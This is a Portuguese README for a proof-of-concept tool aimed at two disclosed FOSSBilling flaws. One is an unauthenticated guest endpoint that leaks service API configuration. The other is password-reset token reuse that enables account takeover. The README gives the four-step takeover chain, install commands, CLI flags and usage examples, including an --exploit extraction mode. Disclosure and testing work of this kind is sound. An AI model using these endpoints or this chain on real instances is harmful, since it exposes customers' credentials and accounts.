
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — Divulgação não autenticada de chave de API e reutilização de token de redefinição de senha
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
feito por 7megaumka7
Ferramenta PoC para duas vulnerabilidades aceitas no GitHub Security Advisory no FOSSBilling ≤ 0.7.2
FOSKiller é uma ferramenta de prova de conceito que demonstra duas vulnerabilidades de segurança no FOSSBilling — uma plataforma de código aberto para faturamento e gerenciamento de clientes. Ambas as vulnerabilidades foram divulgadas de forma responsável através do programa GitHub Security Advisory e estão totalmente corrigidas no FOSSBilling 0.7.3+.
A ferramenta é destinada a:
| Advisory | CVE | Tipo | CVSS | Afetado |
|---|---|---|---|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Divulgação de Configuração de Chave de API não Autenticada | 6.9 Moderado | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Reutilização de Token de Redefinição de Senha → Assunção de Conta | 7.7 Alto | >= 0.5.6, <= 0.7.2 |
O endpoint convidado /api/guest/serviceapikey/get_info retorna a configuração completa do serviço
— incluindo campos custom_*, credenciais de API, nomes de host e senhas —
sem exigir qualquer autenticação. Um atacante que conheça ou enumere uma chave de API
válida pode recuperar toda a configuração do serviço backend a partir de um endpoint público.
Impacto: Exposição de credenciais de serviço, nomes de host internos, segredos de API.
Quando um cliente aciona duas redefinições de senha consecutivas para a mesma conta, o aplicativo emite um novo token, mas não invalida o anterior. Um atacante que tenha capturado previamente o primeiro token pode usá-lo para definir uma nova senha mesmo após o usuário legítimo concluir seu próprio fluxo de redefinição.
Cadeia de ataque:
1. Atacante aciona POST /api/guest/client/reset_password → captura token T1
2. Vítima aciona sua própria redefinição → app emite T2, T1 permanece válido
3. Atacante chama POST /api/guest/client/update_password?hash=T1 com senha escolhida
4. Atacante tem acesso persistente independentemente da conclusão da redefinição da vítima
Impacto: Assunção persistente de conta de qualquer cliente cujo e-mail de redefinição seja interceptável.
Se as dependências estiverem faltando, o script detecta isso na inicialização e oferece a instalação automática.
Clone e instale as dependências:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
Ou execute sem pré-instalação — o script perguntará se deseja instalar pacotes faltantes na primeira execução.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
| Flag | Obrigatório | Descrição |
|---|---|---|
--target URL | Sim | URL base da instância do FOSSBilling |
--key KEY | Para CVE-2026-53647 | Chave de API a testar |
--email EMAIL | Para CVE-2026-53646 | E-mail do cliente a testar |
--check-only | Não | Modo de detecção — confirme a vulnerabilidade sem extrair dados |
--exploit | Não | Extração completa + documentação da cadeia de ataque |
--force | Não | Ignorar verificação de faixa de versão |
--output FILE | Não | Salvar resultados completos em um arquivo JSON |
--timeout SEC | Não | Timeout HTTP em segundos (padrão: 10) |
--proxy URL | Não | Proxy HTTP (ex.: http://127.0.0.1:8080) |
--check-only e --exploit são mutuamente exclusivos.
| Modo | Flag | O que faz |
|---|---|---|
| Detecção | --check-only | Confirma se a vulnerabilidade existe. Não exibe ou extrai valores sensíveis. |
| Padrão | (sem flag de modo) | Confirma o status e mostra evidências básicas. |
| Exploração | --exploit | Extrai todos os campos vazados; documenta a cadeia completa de assunção de conta com metadados de tempo. |
Apenas detecção — verificar ambos os CVEs sem extrair dados:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Extração completa e documentação da cadeia de ataque:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Salvar resultados em JSON e rotear pelo Burp Suite:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Testar uma versão desconhecida ou já corrigida:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode : Full extraction
[*] HTTP : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication